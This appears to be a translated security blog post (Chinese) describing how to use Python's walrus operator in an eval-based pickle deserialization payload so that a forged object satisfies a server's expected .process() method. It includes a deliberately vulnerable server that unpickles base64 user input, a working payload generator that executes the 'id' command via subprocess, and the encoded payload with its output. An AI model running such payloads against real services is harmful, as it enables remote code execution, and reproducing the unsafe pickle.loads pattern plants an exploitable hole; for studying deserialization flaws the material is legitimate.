利用海象运算符简化反序列化攻击载荷
2022年1月7日
在利用Python反序列化漏洞(特别是Pickle)时,通常需要构造包含参数集合和服务器可用可调用对象的载荷。最常见的方法是使用eval
函数配合待执行的字符串,这种方案具有较高灵活性——通常可以导入os模块并调用os.system
执行任意命令。但某些场景下会存在限制:比如无法直接获取应用输出,或外连被阻断导致无法建立反向shell。更特殊的情况是:反序列化操作需要返回具有特定属性的对象。若目标环境中存在合适的类且攻击者知晓其结构,可能直接构造对应实例;否则操作将变得棘手。
核心问题在于eval
仅支持单表达式求值,而类声明属于语句而非表达式。随着Python海象运算符(:=
)的引入,现在可以通过表达式进行变量赋值。关键思路是创建元组,使每个元素都能访问前序元素赋值的变量。例如这是个合法的Python表达式,最终求值结果为2:
我们可以运用相同模式构造任意对象。假设存在如下服务端代码接收并反序列化输入:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
#!/usr/bin/env python3
import base64
import pickle
class Item(object):
def __init__(self, text):
self.text = text
def process(self):
return self.text.upper().encode()
while True:
try:
b64data = input('Pickled object: ')
data = base64.b64decode(b64data)
item = pickle.loads(data)
res = item.process()
print(f'Result: {res.decode()}')
except KeyboardInterrupt:
print('Exiting')
break
except Exception as e:
print(f'An error occurred while processing data: {e}')
|
假设反序列化过程不产生stdout输出且禁止外连(使反向shell失效),同时要求反序列化对象必须具有返回可解码字符串的.process()
方法。此时可通过以下代码构造攻击载荷:
1
2
3
4
5
6
7
8
9
10
11
12
|
#!/usr/bin/env python3
import base64
import pickle
class Payload(object):
def __reduce__(self):
return eval, ('(a:=type("A", (object,), {}),b:=a(),b.__setattr__("process", lambda: __import__("subprocess").check_output("id")),b)[-1]',)
payload = Payload()
payload = base64.b64encode(pickle.dumps(payload)).decode()
print(payload)
|
核心Python表达式如下:
1
2
3
4
5
6
7
8
|
(
a:=type("A", (object,), {}),
b:=a(),
b.__setattr__("process",
lambda: __import__("subprocess").check_output("id")
),
b
)[-1]
|
该表达式依次执行:1) 创建名为A的新类型并赋值给a;2) 实例化该类型对象赋值给b;3) 为b设置process
方法(执行id命令);4) 通过元组索引返回构造好的对象。将生成的载荷提交给服务端后,将输出当前用户权限信息:
1
2
|
Pickled object: gASVlAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIx4KGE6PXR5cGUoIkEiLCAob2JqZWN0LCksIHt9KSxiOj1hKCksYi5fX3NldGF0dHJfXygicHJvY2VzcyIsIGxhbWJkYTogX19pbXBvcnRfXygic3VicHJvY2VzcyIpLmNoZWNrX291dHB1dCgiaWQiKSksYilbLTFdlIWUUpQu
Result: uid=1000(zetatwo) gid=1000(zetatwo) groups=1000(zetatwo)
|
希望这个小技巧能帮助您应对Python反序列化漏洞利用场景。